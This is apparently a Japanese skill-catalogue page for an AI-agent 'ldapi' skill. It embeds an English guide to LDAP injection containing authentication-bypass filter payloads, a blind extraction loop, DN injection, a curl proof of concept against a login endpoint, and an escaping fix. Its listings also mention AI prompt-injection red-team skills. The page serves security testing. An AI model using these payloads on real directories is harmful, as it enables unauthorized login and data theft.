ldapi
できること
このスキルは、利用者の入力がLDAPのディレクトリ検索フィルターを変えてしまう仕組みを説明します。ログインフォームやディレクトリの検索を確認するセキュリティテスター向けです。
使う場面
- ✓社内ディレクトリ(LDAPなど)に対して、ログインフォームが利用者を照合しているとき。
- ✓検索ページが、利用者の入力からディレクトリへの問い合わせを作っているとき。
- ✓フィルターを変えて、パスワード確認を飛ばせるかを確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“社内ディレクトリのログインフォームが、特殊文字によって回避されないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、ディレクトリのフィルターの構造を変える文字を送り、結果の変化を見ます。1文字ずつ確認することで、データが明らかになる場合もあります。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
LDAP Injection
LDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
1. Auth bypass
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored
2. Blind extraction
# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c
3. DN injection
# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)
4. Common vulnerable apps
- Custom auth backends w/ python-ldap or ldap3 lib direct-format
- Legacy Java apps w/ JNDI w/o escaping
- DokuWiki / older intranets
5. Tools
- Manual via Burp Repeater (most cases need careful crafting)
ldapsearchto verify directly once you have any cred- Burp Intruder w/ payloads from
_corpus/payloads/LDAP Injection/
6. PoC
curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug
7. Severity
| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
8. Defender
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')
Cross-references
- Upstream catalog:
skills/_corpus/payloads/LDAP Injection/ - AD attack patterns (different layer):
skills/ad/SKILL.md
よくある質問
LDAPインジェクションでは何ができますか?
ログインの確認を回避したり、1文字ずつ検査することでデータを取り出したりできると、スキルは説明しています。
識別名(DN)も扱いますか?
はい。利用者の入力から名前が組み立てられる場合のDNインジェクションも扱っています。
どのようなアプリが対象として挙げられていますか?
独自のログインコード、古いJavaアプリ、古い社内向けWikiが、よくある対象として挙げられています。
詳細
作者による元の説明
LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14068
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。